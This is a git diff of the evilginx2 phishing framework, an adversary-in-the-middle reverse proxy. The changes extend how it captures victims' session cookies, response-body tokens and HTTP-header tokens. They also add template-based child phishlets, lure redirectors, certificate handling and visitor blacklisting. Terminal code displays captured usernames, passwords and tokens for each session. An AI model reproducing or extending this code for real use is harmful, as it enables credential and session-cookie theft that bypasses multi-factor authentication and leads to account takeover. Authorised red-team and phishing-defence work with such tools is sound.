- purl += sep + p.cfg.verificationParam + "=" + p.cfg.verificationToken
- if b64_param != "" {
- purl += "&" + p.cfg.redirectParam + "=" + url.QueryEscape(b64_param)
+ phishDomain, ok := p.cfg.GetSiteDomain(p.Name)
+ if ok {
+ if !use_wildcards {
+ for _, h := range p.proxyHosts {
+ ret = append(ret, combineHost(h.phish_subdomain, phishDomain))
}
+ } else {
+ ret = []string{"*." + phishDomain}
}
- ret = append(ret, purl)
}
- return ret, nil
+ return ret
}
func (p *Phishlet) GetLureUrl(path string) (string, error) {
@@ -600,7 +727,7 @@ func (p *Phishlet) GetLureUrl(path string) (string, error) {
host := p.cfg.GetBaseDomain()
for _, h := range p.proxyHosts {
if h.is_landing {
- phishDomain, ok := p.cfg.GetSiteDomain(p.Site)
+ phishDomain, ok := p.cfg.GetSiteDomain(p.Name)
if ok {
host = combineHost(h.phish_subdomain, phishDomain)
}
@@ -635,7 +762,7 @@ func (p *Phishlet) GetScriptInject(hostname string, path string, params *map[str
params_matched := false
if params != nil {
pcnt := 0
- for k, _ := range *params {
+ for k := range *params {
if stringExists(k, js.trigger_params) {
pcnt += 1
}
@@ -665,7 +792,7 @@ func (p *Phishlet) GetScriptInject(hostname string, path string, params *map[str
func (p *Phishlet) GenerateTokenSet(tokens map[string]string) map[string]map[string]string {
ret := make(map[string]map[string]string)
td := make(map[string]string)
- for domain, tokens := range p.authTokens {
+ for domain, tokens := range p.cookieAuthTokens {
ret[domain] = make(map[string]string)
for _, t := range tokens {
td[t.name] = domain
@@ -695,23 +822,27 @@ func (p *Phishlet) addSubFilter(hostname string, subdomain string, domain string
hostname = strings.ToLower(hostname)
subdomain = strings.ToLower(subdomain)
domain = strings.ToLower(domain)
- for n, _ := range mime {
+ for n := range mime {
mime[n] = strings.ToLower(mime[n])
}
p.subfilters[hostname] = append(p.subfilters[hostname], SubFilter{subdomain: subdomain, domain: domain, mime: mime, regexp: regexp, replace: replace, redirect_only: redirect_only, with_params: with_params})
}
-func (p *Phishlet) addAuthTokens(hostname string, tokens []string) error {
- p.authTokens[hostname] = []*AuthToken{}
+func (p *Phishlet) addCookieAuthTokens(hostname string, tokens []string) error {
+ p.cookieAuthTokens[hostname] = []*CookieAuthToken{}
for _, tk := range tokens {
- st := strings.Split(tk, ",")
+ st := strings.Split(tk, ":")
+ if len(st) == 1 {
+ st = strings.Split(tk, ",")
+ }
if len(st) > 0 {
name := st[0]
- at := &AuthToken{
+ at := &CookieAuthToken{
name: name,
re: nil,
http_only: false,
optional: false,
+ always: false,
}
for i := 1; i < len(st); i++ {
switch st[i] {
@@ -723,21 +854,59 @@ func (p *Phishlet) addAuthTokens(hostname string, tokens []string) error {
}
case "opt":
at.optional = true
+ case "always":
+ at.always = true
}
}
- p.authTokens[hostname] = append(p.authTokens[hostname], at)
+ p.cookieAuthTokens[hostname] = append(p.cookieAuthTokens[hostname], at)
}
}
return nil
}
+func (p *Phishlet) addBodyAuthToken(hostname string, path string, name string, search string) error {
+ path_re, err := regexp.Compile(path)
+ if err != nil {
+ return err
+ }
+ search_re, err := regexp.Compile(search)
+ if err != nil {
+ return err
+ }
+
+ p.bodyAuthTokens[name] = &BodyAuthToken{
+ domain: hostname,
+ path: path_re,
+ name: name,
+ search: search_re,
+ }
+
+ return nil
+}
+
+func (p *Phishlet) addHttpAuthToken(hostname string, path string, name string, header string) error {
+ path_re, err := regexp.Compile(path)
+ if err != nil {
+ return err
+ }
+
+ p.httpAuthTokens[name] = &HttpAuthToken{
+ domain: hostname,
+ path: path_re,
+ name: name,
+ header: header,
+ }
+
+ return nil
+}
+
func (p *Phishlet) addJsInject(trigger_domains []string, trigger_paths []string, trigger_params []string, script string) error {
js := JsInject{}
for _, d := range trigger_domains {
js.trigger_domains = append(js.trigger_domains, strings.ToLower(d))
}
for _, d := range trigger_paths {
- re, err := regexp.Compile(d)
+ re, err := regexp.Compile("^" + d + "$")
if err == nil {
js.trigger_paths = append(js.trigger_paths, re)
} else {
@@ -762,8 +931,8 @@ func (p *Phishlet) domainExists(domain string) bool {
return false
}
-func (p *Phishlet) getAuthToken(domain string, token string) *AuthToken {
- if tokens, ok := p.authTokens[domain]; ok {
+func (p *Phishlet) getAuthToken(domain string, token string) *CookieAuthToken {
+ if tokens, ok := p.cookieAuthTokens[domain]; ok {
for _, at := range tokens {
if at.re != nil {
if at.re.MatchString(token) {
@@ -831,3 +1000,13 @@ func (p *Phishlet) parseVersion(ver string) (PhishletVersion, error) {
}
return ret, nil
}
+
+func (p *Phishlet) paramVal(s string) string {
+ var ret string = s
+ if !p.isTemplate {
+ for k, v := range p.customParams {
+ ret = strings.ReplaceAll(ret, "{"+k+"}", v)
+ }
+ }
+ return ret
+}
diff --git a/core/session.go b/core/session.go
index 74256bea1..8fcd70737 100644
--- a/core/session.go
+++ b/core/session.go
@@ -1,41 +1,53 @@
package core
import (
+ "time"
+
"github.com/kgretzky/evilginx2/database"
)
type Session struct {
- Id string
- Name string
- Username string
- Password string
- Custom map[string]string
- Params map[string]string
- Tokens map[string]map[string]*database.Token
- RedirectURL string
- IsDone bool
- IsAuthUrl bool
- IsForwarded bool
- RedirectCount int
- PhishLure *Lure
+ Id string
+ Name string
+ Username string
+ Password string
+ Custom map[string]string
+ Params map[string]string
+ BodyTokens map[string]string
+ HttpTokens map[string]string
+ CookieTokens map[string]map[string]*database.CookieToken
+ RedirectURL string
+ IsDone bool
+ IsAuthUrl bool
+ IsForwarded bool
+ ProgressIndex int
+ RedirectCount int
+ PhishLure *Lure
+ RedirectorName string
+ LureDirPath string
}
func NewSession(name string) (*Session, error) {
s := &Session{
- Id: GenRandomToken(),
- Name: name,
- Username: "",
- Password: "",
- Custom: make(map[string]string),
- Params: make(map[string]string),
- RedirectURL: "",
- IsDone: false,
- IsAuthUrl: false,
- IsForwarded: false,
- RedirectCount: 0,
- PhishLure: nil,
+ Id: GenRandomToken(),
+ Name: name,
+ Username: "",
+ Password: "",
+ Custom: make(map[string]string),
+ Params: make(map[string]string),
+ BodyTokens: make(map[string]string),
+ HttpTokens: make(map[string]string),
+ RedirectURL: "",
+ IsDone: false,
+ IsAuthUrl: false,
+ IsForwarded: false,
+ ProgressIndex: 0,
+ RedirectCount: 0,
+ PhishLure: nil,
+ RedirectorName: "",
+ LureDirPath: "",
}
- s.Tokens = make(map[string]map[string]*database.Token)
+ s.CookieTokens = make(map[string]map[string]*database.CookieToken)
return s, nil
}
@@ -52,26 +64,30 @@ func (s *Session) SetCustom(name string, value string) {
s.Custom[name] = value
}
-func (s *Session) AddAuthToken(domain string, key string, value string, path string, http_only bool, authTokens map[string][]*AuthToken) bool {
- if _, ok := s.Tokens[domain]; !ok {
- s.Tokens[domain] = make(map[string]*database.Token)
+func (s *Session) AddCookieAuthToken(domain string, key string, value string, path string, http_only bool, expires time.Time) {
+ if _, ok := s.CookieTokens[domain]; !ok {
+ s.CookieTokens[domain] = make(map[string]*database.CookieToken)
}
- if tk, ok := s.Tokens[domain][key]; ok {
+
+ if tk, ok := s.CookieTokens[domain][key]; ok {
tk.Name = key
tk.Value = value
tk.Path = path
tk.HttpOnly = http_only
} else {
- s.Tokens[domain][key] = &database.Token{
+ s.CookieTokens[domain][key] = &database.CookieToken{
Name: key,
Value: value,
HttpOnly: http_only,
}
}
- tcopy := make(map[string][]AuthToken)
+}
+
+func (s *Session) AllCookieAuthTokensCaptured(authTokens map[string][]*CookieAuthToken) bool {
+ tcopy := make(map[string][]CookieAuthToken)
for k, v := range authTokens {
- tcopy[k] = []AuthToken{}
+ tcopy[k] = []CookieAuthToken{}
for _, at := range v {
if !at.optional {
tcopy[k] = append(tcopy[k], *at)
@@ -79,8 +95,8 @@ func (s *Session) AddAuthToken(domain string, key string, value string, path str
}
}
- for domain, tokens := range s.Tokens {
- for tk, _ := range tokens {
+ for domain, tokens := range s.CookieTokens {
+ for tk := range tokens {
if al, ok := tcopy[domain]; ok {
for an, at := range al {
match := false
diff --git a/core/shared.go b/core/shared.go
index e5eb490a0..44fbeb247 100644
--- a/core/shared.go
+++ b/core/shared.go
@@ -1,5 +1,7 @@
package core
+import "strings"
+
func combineHost(sub string, domain string) string {
if sub == "" {
return domain
@@ -7,6 +9,14 @@ func combineHost(sub string, domain string) string {
return sub + "." + domain
}
+func obfuscateDots(s string) string {
+ return strings.Replace(s, ".", "[[d0t]]", -1)
+}
+
+func removeObfuscatedDots(s string) string {
+ return strings.Replace(s, "[[d0t]]", ".", -1)
+}
+
func stringExists(s string, sa []string) bool {
for _, k := range sa {
if s == k {
diff --git a/core/table.go b/core/table.go
index bd86a4f24..10e4bdcc7 100644
--- a/core/table.go
+++ b/core/table.go
@@ -148,7 +148,7 @@ func AsRows(keys []string, vals []string) string {
clr := color.New(color.FgHiBlack)
mLen := maxLen(keys)
var table string
- for i, _ := range keys {
+ for i := range keys {
table += clr.Sprintf(" %s : ", padded(keys[i], mLen, AlignLeft)) + fmt.Sprintf("%s\n", vals[i])
}
return table
@@ -157,7 +157,7 @@ func AsRows(keys []string, vals []string) string {
func AsDescription(keys []string, vals []string) string {
clr := color.New(color.FgHiBlack)
var table string
- for i, _ := range keys {
+ for i := range keys {
table += clr.Sprintf(" %s", keys[i]) + fmt.Sprintf("\n %s\n", vals[i])
}
return table
diff --git a/core/terminal.go b/core/terminal.go
index facb48ccd..0d2751b33 100644
--- a/core/terminal.go
+++ b/core/terminal.go
@@ -14,6 +14,7 @@ import (
"os"
"path/filepath"
"regexp"
+ "sort"
"strconv"
"strings"
"time"
@@ -54,16 +55,7 @@ func NewTerminal(p *HttpProxy, cfg *Config, crt_db *CertDb, db *database.Databas
t.createHelp()
t.completer = t.hlp.GetPrefixCompleter(LAYER_TOP)
- /*
- t.completer = readline.NewPrefixCompleter(
- readline.PcItem("server"),
- readline.PcItem("ip"),
- readline.PcItem("status"),
- readline.PcItem("phishlet", readline.PcItem("show"), readline.PcItem("enable"), readline.PcItem("disable"), readline.PcItem("hostname"), readline.PcItem("url")),
- readline.PcItem("sessions", readline.PcItem("delete", readline.PcItem("all"))),
- readline.PcItem("exit"),
- )
- */
+
t.rl, err = readline.NewEx(&readline.Config{
Prompt: DEFAULT_PROMPT,
AutoComplete: t.completer,
@@ -93,8 +85,7 @@ func (t *Terminal) DoWork() {
log.SetReadline(t.rl)
t.cfg.refreshActiveHostnames()
- t.updatePhishletCertificates("")
- t.updateLuresCertificates()
+ t.manageCertificates(true)
t.output("%s", t.sprintPhishletStatus(""))
@@ -161,6 +152,9 @@ func (t *Terminal) DoWork() {
if err != nil {
log.Error("blacklist: %v", err)
}
+ case "test-certs":
+ cmd_ok = true
+ t.manageCertificates(true)
case "help":
cmd_ok = true
if len(args) == 2 {
@@ -187,8 +181,8 @@ func (t *Terminal) DoWork() {
func (t *Terminal) handleConfig(args []string) error {
pn := len(args)
if pn == 0 {
- keys := []string{"domain", "ip", "redirect_key", "verification_key", "verification_token", "redirect_url"}
- vals := []string{t.cfg.baseDomain, t.cfg.serverIP, t.cfg.redirectParam, t.cfg.verificationParam, t.cfg.verificationToken, t.cfg.redirectUrl}
+ keys := []string{"domain", "ipv4", "https_port", "dns_port", "redirect_url"}
+ vals := []string{t.cfg.general.Domain, t.cfg.general.Ipv4, strconv.Itoa(t.cfg.general.HttpsPort), strconv.Itoa(t.cfg.general.DnsPort), t.cfg.general.RedirectUrl}
log.Printf("\n%s\n", AsRows(keys, vals))
return nil
} else if pn == 2 {
@@ -196,22 +190,11 @@ func (t *Terminal) handleConfig(args []string) error {
case "domain":
t.cfg.SetBaseDomain(args[1])
t.cfg.ResetAllSites()
+ t.manageCertificates(false)
return nil
- case "ip":
+ case "ipv4":
t.cfg.SetServerIP(args[1])
return nil
- case "redirect_key":
- t.cfg.SetRedirectParam(args[1])
- log.Warning("you need to regenerate your phishing urls after this change")
- return nil
- case "verification_key":
- t.cfg.SetVerificationParam(args[1])
- log.Warning("you need to regenerate your phishing urls after this change")
- return nil
- case "verification_token":
- t.cfg.SetVerificationToken(args[1])
- log.Warning("you need to regenerate your phishing urls after this change")
- return nil
case "redirect_url":
if len(args[1]) > 0 {
_, err := url.ParseRequestURI(args[1])
@@ -230,7 +213,10 @@ func (t *Terminal) handleBlacklist(args []string) error {
pn := len(args)
if pn == 0 {
mode := t.cfg.GetBlacklistMode()
+ ip_num, mask_num := t.p.bl.GetStats()
log.Info("blacklist mode set to: %s", mode)
+ log.Info("blacklist: loaded %d ip addresses and %d ip masks", ip_num, mask_num)
+
return nil
} else if pn == 1 {
switch args[0] {
@@ -240,10 +226,27 @@ func (t *Terminal) handleBlacklist(args []string) error {
case "unauth":
t.cfg.SetBlacklistMode(args[0])
return nil
+ case "noadd":
+ t.cfg.SetBlacklistMode(args[0])
+ return nil
case "off":
t.cfg.SetBlacklistMode(args[0])
return nil
}
+ } else if pn == 2 {
+ switch args[0] {
+ case "log":
+ switch args[1] {
+ case "on":
+ t.p.bl.SetVerbose(true)
+ log.Info("blacklist log output: enabled")
+ return nil
+ case "off":
+ t.p.bl.SetVerbose(false)
+ log.Info("blacklist log output: disabled")
+ return nil
+ }
+ }
}
return fmt.Errorf("invalid syntax: %s", args)
}
@@ -252,18 +255,18 @@ func (t *Terminal) handleProxy(args []string) error {
pn := len(args)
if pn == 0 {
var proxy_enabled string = "no"
- if t.cfg.proxyEnabled {
+ if t.cfg.proxyConfig.Enabled {
proxy_enabled = "yes"
}
keys := []string{"enabled", "type", "address", "port", "username", "password"}
- vals := []string{proxy_enabled, t.cfg.proxyType, t.cfg.proxyAddress, strconv.Itoa(t.cfg.proxyPort), t.cfg.proxyUsername, t.cfg.proxyPassword}
+ vals := []string{proxy_enabled, t.cfg.proxyConfig.Type, t.cfg.proxyConfig.Address, strconv.Itoa(t.cfg.proxyConfig.Port), t.cfg.proxyConfig.Username, t.cfg.proxyConfig.Password}
log.Printf("\n%s\n", AsRows(keys, vals))
return nil
} else if pn == 1 {
switch args[0] {
case "enable":
- err := t.p.setProxy(true, t.p.cfg.proxyType, t.p.cfg.proxyAddress, t.p.cfg.proxyPort, t.p.cfg.proxyUsername, t.p.cfg.proxyPassword)
+ err := t.p.setProxy(true, t.p.cfg.proxyConfig.Type, t.p.cfg.proxyConfig.Address, t.p.cfg.proxyConfig.Port, t.p.cfg.proxyConfig.Username, t.p.cfg.proxyConfig.Password)
if err != nil {
return err
}
@@ -271,7 +274,7 @@ func (t *Terminal) handleProxy(args []string) error {
log.Important("you need to restart evilginx for the changes to take effect!")
return nil
case "disable":
- err := t.p.setProxy(false, t.p.cfg.proxyType, t.p.cfg.proxyAddress, t.p.cfg.proxyPort, t.p.cfg.proxyUsername, t.p.cfg.proxyPassword)
+ err := t.p.setProxy(false, t.p.cfg.proxyConfig.Type, t.p.cfg.proxyConfig.Address, t.p.cfg.proxyConfig.Port, t.p.cfg.proxyConfig.Username, t.p.cfg.proxyConfig.Password)
if err != nil {
return err
}
@@ -281,19 +284,19 @@ func (t *Terminal) handleProxy(args []string) error {
} else if pn == 2 {
switch args[0] {
case "type":
- if t.cfg.proxyEnabled {
+ if t.cfg.proxyConfig.Enabled {
return fmt.Errorf("please disable the proxy before making changes to its configuration")
}
t.cfg.SetProxyType(args[1])
return nil
case "address":
- if t.cfg.proxyEnabled {
+ if t.cfg.proxyConfig.Enabled {
return fmt.Errorf("please disable the proxy before making changes to its configuration")
}
t.cfg.SetProxyAddress(args[1])
return nil
case "port":
- if t.cfg.proxyEnabled {
+ if t.cfg.proxyConfig.Enabled {
return fmt.Errorf("please disable the proxy before making changes to its configuration")
}
port, err := strconv.Atoi(args[1])
@@ -303,13 +306,13 @@ func (t *Terminal) handleProxy(args []string) error {
t.cfg.SetProxyPort(port)
return nil
case "username":
- if t.cfg.proxyEnabled {
+ if t.cfg.proxyConfig.Enabled {
return fmt.Errorf("please disable the proxy before making changes to its configuration")
}
t.cfg.SetProxyUsername(args[1])
return nil
case "password":
- if t.cfg.proxyEnabled {
+ if t.cfg.proxyConfig.Enabled {
return fmt.Errorf("please disable the proxy before making changes to its configuration")
}
t.cfg.SetProxyPassword(args[1])
@@ -324,8 +327,10 @@ func (t *Terminal) handleSessions(args []string) error {
dgray := color.New(color.FgHiBlack)
lgreen := color.New(color.FgHiGreen)
yellow := color.New(color.FgYellow)
+ lyellow := color.New(color.FgHiYellow)
lred := color.New(color.FgHiRed)
cyan := color.New(color.FgCyan)
+ white := color.New(color.FgHiWhite)
pn := len(args)
if pn == 0 {
@@ -341,7 +346,7 @@ func (t *Terminal) handleSessions(args []string) error {
var rows [][]string
for _, s := range sessions {
tcol := dgray.Sprintf("none")
- if len(s.Tokens) > 0 {
+ if len(s.CookieTokens) > 0 || len(s.BodyTokens) > 0 || len(s.HttpTokens) > 0 {
tcol = lgreen.Sprintf("captured")
}
row := []string{strconv.Itoa(s.Id), lred.Sprintf(s.Phishlet), lblue.Sprintf(truncateString(s.Username, 24)), lblue.Sprintf(truncateString(s.Password, 24)), tcol, yellow.Sprintf(s.RemoteAddr), time.Unix(s.UpdateTime, 0).Format("2006-01-02 15:04")}
@@ -373,13 +378,13 @@ func (t *Terminal) handleSessions(args []string) error {
s_found = true
tcol := dgray.Sprintf("empty")
- if len(s.Tokens) > 0 {
+ if len(s.CookieTokens) > 0 || len(s.BodyTokens) > 0 || len(s.HttpTokens) > 0 {
tcol = lgreen.Sprintf("captured")
}
keys := []string{"id", "phishlet", "username", "password", "tokens", "landing url", "user-agent", "remote ip", "create time", "update time"}
vals := []string{strconv.Itoa(s.Id), lred.Sprint(s.Phishlet), lblue.Sprint(s.Username), lblue.Sprint(s.Password), tcol, yellow.Sprint(s.LandingURL), dgray.Sprint(s.UserAgent), yellow.Sprint(s.RemoteAddr), dgray.Sprint(time.Unix(s.CreateTime, 0).Format("2006-01-02 15:04")), dgray.Sprint(time.Unix(s.UpdateTime, 0).Format("2006-01-02 15:04"))}
- log.Printf("\n%s", AsRows(keys, vals))
+ log.Printf("\n%s\n", AsRows(keys, vals))
if len(s.Custom) > 0 {
var ckeys []string = []string{"custom", "value"}
@@ -387,14 +392,31 @@ func (t *Terminal) handleSessions(args []string) error {
for k, v := range s.Custom {
cvals = append(cvals, []string{dgray.Sprint(k), cyan.Sprint(v)})
}
- log.Printf("\n%s", AsTable(ckeys, cvals))
+ log.Printf("%s\n", AsTable(ckeys, cvals))
}
- if len(s.Tokens) > 0 {
- json_tokens := t.tokensToJSON(pl, s.Tokens)
- t.output("%s\n", json_tokens)
- } else {
- t.output("\n")
+ if len(s.CookieTokens) > 0 || len(s.BodyTokens) > 0 || len(s.HttpTokens) > 0 {
+ if len(s.BodyTokens) > 0 || len(s.HttpTokens) > 0 {
+ //var str_tokens string
+
+ tkeys := []string{}
+ tvals := []string{}
+
+ for k, v := range s.BodyTokens {
+ tkeys = append(tkeys, k)
+ tvals = append(tvals, white.Sprint(v))
+ }
+ for k, v := range s.HttpTokens {
+ tkeys = append(tkeys, k)
+ tvals = append(tvals, white.Sprint(v))
+ }
+
+ log.Printf("[ %s ]\n%s\n", lgreen.Sprint("tokens"), AsRows(tkeys, tvals))
+ }
+ if len(s.CookieTokens) > 0 {
+ json_tokens := t.cookieTokensToJSON(pl, s.CookieTokens)
+ log.Printf("[ %s ]\n%s\n\n", lyellow.Sprint("cookies"), json_tokens)
+ }
}
break
}
@@ -473,32 +495,85 @@ func (t *Terminal) handleSessions(args []string) error {
func (t *Terminal) handlePhishlets(args []string) error {
pn := len(args)
- if pn == 0 {
+ if pn >= 3 && args[0] == "create" {
+ pl, err := t.cfg.GetPhishlet(args[1])
+ if err == nil {
+ params := make(map[string]string)
+
+ var create_ok bool = true
+ if pl.isTemplate {
+ for n := 3; n < pn; n++ {
+ val := args[n]
+
+ sp := strings.Index(val, "=")
+ if sp == -1 {
+ return fmt.Errorf("set custom parameters for the child phishlet using format 'param1=value1 param2=value2'")
+ }
+ k := val[:sp]
+ v := val[sp+1:]
+
+ params[k] = v
+
+ log.Info("adding parameter: %s='%s'", k, v)
+ }
+ }
+
+ if create_ok {
+ child_name := args[1] + ":" + args[2]
+ err := t.cfg.AddSubPhishlet(child_name, args[1], params)
+ if err != nil {
+ log.Error("%v", err)
+ } else {
+ t.cfg.SaveSubPhishlets()
+ log.Info("created child phishlet: %s", child_name)
+ }
+ }
+ return nil
+ } else {
+ log.Error("%v", err)
+ }
+ } else if pn == 0 {
t.output("%s", t.sprintPhishletStatus(""))
return nil
+ } else if pn == 1 {
+ _, err := t.cfg.GetPhishlet(args[0])
+ if err == nil {
+ t.output("%s", t.sprintPhishletStatus(args[0]))
+ return nil
+ }
} else if pn == 2 {
switch args[0] {
+ case "delete":
+ err := t.cfg.DeleteSubPhishlet(args[1])
+ if err != nil {
+ log.Error("%v", err)
+ return nil
+ }
+ t.cfg.SaveSubPhishlets()
+ log.Info("deleted child phishlet: %s", args[1])
+ return nil
case "enable":
- _, err := t.cfg.GetPhishlet(args[1])
+ pl, err := t.cfg.GetPhishlet(args[1])
if err != nil {
log.Error("%v", err)
break
}
- domain, _ := t.cfg.GetSiteDomain(args[1])
- if domain == "" {
- return fmt.Errorf("you need to set hostname for phishlet '%s', first. type: phishlet hostname %s your.hostame.domain.com", args[1], args[1])
+ if pl.isTemplate {
+ return fmt.Errorf("phishlet '%s' is a template - you have to 'create' child phishlet from it, with predefined parameters, before you can enable it.", args[1])
}
err = t.cfg.SetSiteEnabled(args[1])
if err != nil {
+ t.cfg.SetSiteDisabled(args[1])
return err
}
- t.updatePhishletCertificates(args[1])
+ t.manageCertificates(true)
return nil
case "disable":
err := t.cfg.SetSiteDisabled(args[1])
if err != nil {
return err
}
+ t.manageCertificates(false)
return nil
case "hide":
err := t.cfg.SetSiteHidden(args[1], true)
@@ -512,19 +587,17 @@ func (t *Terminal) handlePhishlets(args []string) error {
return err
}
return nil
- case "get-url":
- return fmt.Errorf("incorrect number of arguments")
case "get-hosts":
pl, err := t.cfg.GetPhishlet(args[1])
if err != nil {
return err
}
- bhost, ok := t.cfg.GetSiteDomain(pl.Site)
+ bhost, ok := t.cfg.GetSiteDomain(pl.Name)
if !ok || len(bhost) == 0 {
return fmt.Errorf("no hostname set for phishlet '%s'", pl.Name)
}
out := ""
- hosts := pl.GetPhishHosts()
+ hosts := pl.GetPhishHosts(false)
for n, h := range hosts {
if n > 0 {
out += "\n"
@@ -543,34 +616,9 @@ func (t *Terminal) handlePhishlets(args []string) error {
}
if ok := t.cfg.SetSiteHostname(args[1], args[2]); ok {
t.cfg.SetSiteDisabled(args[1])
+ t.manageCertificates(false)
}
return nil
- case "get-url":
- pl, err := t.cfg.GetPhishlet(args[1])
- if err != nil {
- return err
- }
- bhost, ok := t.cfg.GetSiteDomain(pl.Site)
- if !ok || len(bhost) == 0 {
- return fmt.Errorf("no hostname set for phishlet '%s'", pl.Name)
- }
- urls, err := pl.GetLandingUrls(args[2], true)
- if err != nil {
- return err
- }
- out := ""
- n := 0
- hblue := color.New(color.FgHiCyan)
- for _, u := range urls {
- if n > 0 {
- out += "\n"
- }
- out += hblue.Sprint(u)
- n += 1
- }
- log.Warning("`get-url` is deprecated - please use `lures` with custom `path` instead")
- t.output("%s\n", out)
- return nil
}
}
return fmt.Errorf("invalid syntax: %s", args)
@@ -624,7 +672,7 @@ func (t *Terminal) handleLures(args []string) error {
if err != nil {
return fmt.Errorf("get-url: %v", err)
}
- bhost, ok := t.cfg.GetSiteDomain(pl.Site)
+ bhost, ok := t.cfg.GetSiteDomain(pl.Name)
if !ok || len(bhost) == 0 {
return fmt.Errorf("no hostname set for phishlet '%s'", pl.Name)
}
@@ -747,19 +795,17 @@ func (t *Terminal) handleLures(args []string) error {
if val != "" {
val = strings.ToLower(val)
- if val != t.cfg.baseDomain && !strings.HasSuffix(val, "."+t.cfg.baseDomain) {
- return fmt.Errorf("edit: lure hostname must end with the base domain '%s'", t.cfg.baseDomain)
+ if val != t.cfg.general.Domain && !strings.HasSuffix(val, "."+t.cfg.general.Domain) {
+ return fmt.Errorf("edit: lure hostname must end with the base domain '%s'", t.cfg.general.Domain)
}
host_re := regexp.MustCompile(`^(([a-zA-Z0-9]|[a-zA-Z0-9][a-zA-Z0-9\-]*[a-zA-Z0-9])\.)*([A-Za-z0-9]|[A-Za-z0-9][A-Za-z0-9\-]*[A-Za-z0-9])$`)
if !host_re.MatchString(val) {
return fmt.Errorf("edit: invalid hostname")
}
- err = t.updateHostCertificate(val)
- if err != nil {
- return err
- }
+
l.Hostname = val
t.cfg.refreshActiveHostnames()
+ t.manageCertificates(true)
} else {
l.Hostname = ""
}
@@ -845,24 +891,24 @@ func (t *Terminal) handleLures(args []string) error {
}
do_update = true
log.Info("og_url = '%s'", l.OgUrl)
- case "template":
+ case "redirector":
if val != "" {
path := val
if !filepath.IsAbs(val) {
- templates_dir := t.cfg.GetTemplatesDir()
- path = filepath.Join(templates_dir, val)
+ redirectors_dir := t.cfg.GetRedirectorsDir()
+ path = filepath.Join(redirectors_dir, val)
}
if _, err := os.Stat(path); !os.IsNotExist(err) {
- l.Template = val
+ l.Redirector = val
} else {
- return fmt.Errorf("edit: template file does not exist: %s", path)
+ return fmt.Errorf("edit: redirector directory does not exist: %s", path)
}
} else {
- l.Template = ""
+ l.Redirector = ""
}
do_update = true
- log.Info("template = '%s'", l.Template)
+ log.Info("redirector = '%s'", l.Redirector)
case "ua_filter":
if val != "" {
if _, err := regexp.Compile(val); err != nil {
@@ -893,7 +939,7 @@ func (t *Terminal) handleLures(args []string) error {
}
if args[1] == "all" {
di := []int{}
- for n, _ := range t.cfg.lures {
+ for n := range t.cfg.lures {
di = append(di, n)
}
if len(di) > 0 {
@@ -949,8 +995,8 @@ func (t *Terminal) handleLures(args []string) error {
return err
}
- keys := []string{"phishlet", "hostname", "path", "template", "ua_filter", "redirect_url", "info", "og_title", "og_desc", "og_image", "og_url"}
- vals := []string{hiblue.Sprint(l.Phishlet), cyan.Sprint(l.Hostname), hcyan.Sprint(l.Path), white.Sprint(l.Template), green.Sprint(l.UserAgentFilter), yellow.Sprint(l.RedirectUrl), l.Info, dgray.Sprint(l.OgTitle), dgray.Sprint(l.OgDescription), dgray.Sprint(l.OgImageUrl), dgray.Sprint(l.OgUrl)}
+ keys := []string{"phishlet", "hostname", "path", "redirector", "ua_filter", "redirect_url", "info", "og_title", "og_desc", "og_image", "og_url"}
+ vals := []string{hiblue.Sprint(l.Phishlet), cyan.Sprint(l.Hostname), hcyan.Sprint(l.Path), white.Sprint(l.Redirector), green.Sprint(l.UserAgentFilter), yellow.Sprint(l.RedirectUrl), l.Info, dgray.Sprint(l.OgTitle), dgray.Sprint(l.OgDescription), dgray.Sprint(l.OgImageUrl), dgray.Sprint(l.OgUrl)}
log.Printf("\n%s\n", AsRows(keys, vals))
return nil
@@ -963,13 +1009,10 @@ func (t *Terminal) handleLures(args []string) error {
func (t *Terminal) createHelp() {
h, _ := NewHelp()
h.AddCommand("config", "general", "manage general configuration", "Shows values of all configuration variables and allows to change them.", LAYER_TOP,
- readline.PcItem("config", readline.PcItem("domain"), readline.PcItem("ip"), readline.PcItem("redirect_key"), readline.PcItem("verification_key"), readline.PcItem("verification_token"), readline.PcItem("redirect_url")))
+ readline.PcItem("config", readline.PcItem("domain"), readline.PcItem("ipv4"), readline.PcItem("redirect_url")))
h.AddSubCommand("config", nil, "", "show all configuration variables")
h.AddSubCommand("config", []string{"domain"}, "domain ", "set base domain for all phishlets (e.g. evilsite.com)")
- h.AddSubCommand("config", []string{"ip"}, "ip ", "set ip address of the current server")
- h.AddSubCommand("config", []string{"redirect_key"}, "redirect_key ", "change name of the redirect parameter in phishing url (phishing urls will need to be regenerated)")
- h.AddSubCommand("config", []string{"verification_key"}, "verification_key ", "change name of the verification parameter in phishing url (phishing urls will need to be regenerated)")
- h.AddSubCommand("config", []string{"verification_token"}, "verification_token ", "change the value of the verification token (phishing urls will need to be regenerated)")
+ h.AddSubCommand("config", []string{"ipv4"}, "ipv4 ", "set ipv4 external address of the current server")
h.AddSubCommand("config", []string{"redirect_url"}, "redirect_url ", "change the url where all unauthorized requests will be redirected to (phishing urls will need to be regenerated)")
h.AddCommand("proxy", "general", "manage proxy configuration", "Configures proxy which will be used to proxy the connection to remote website", LAYER_TOP,
@@ -984,16 +1027,19 @@ func (t *Terminal) createHelp() {
h.AddSubCommand("proxy", []string{"password"}, "password ", "set proxy authentication password")
h.AddCommand("phishlets", "general", "manage phishlets configuration", "Shows status of all available phishlets and allows to change their parameters and enabled status.", LAYER_TOP,
- readline.PcItem("phishlets", readline.PcItem("hostname", readline.PcItemDynamic(t.phishletPrefixCompleter)), readline.PcItem("enable", readline.PcItemDynamic(t.phishletPrefixCompleter)),
+ readline.PcItem("phishlets", readline.PcItem("create", readline.PcItemDynamic(t.phishletPrefixCompleter)), readline.PcItem("delete", readline.PcItemDynamic(t.phishletPrefixCompleter)),
+ readline.PcItem("hostname", readline.PcItemDynamic(t.phishletPrefixCompleter)), readline.PcItem("enable", readline.PcItemDynamic(t.phishletPrefixCompleter)),
readline.PcItem("disable", readline.PcItemDynamic(t.phishletPrefixCompleter)), readline.PcItem("hide", readline.PcItemDynamic(t.phishletPrefixCompleter)),
- readline.PcItem("unhide", readline.PcItemDynamic(t.phishletPrefixCompleter)), readline.PcItem("get-url", readline.PcItemDynamic(t.phishletPrefixCompleter)), readline.PcItem("get-hosts", readline.PcItemDynamic(t.phishletPrefixCompleter))))
+ readline.PcItem("unhide", readline.PcItemDynamic(t.phishletPrefixCompleter)), readline.PcItem("get-hosts", readline.PcItemDynamic(t.phishletPrefixCompleter))))
h.AddSubCommand("phishlets", nil, "", "show status of all available phishlets")
+ h.AddSubCommand("phishlets", nil, "", "show details of a specific phishlets")
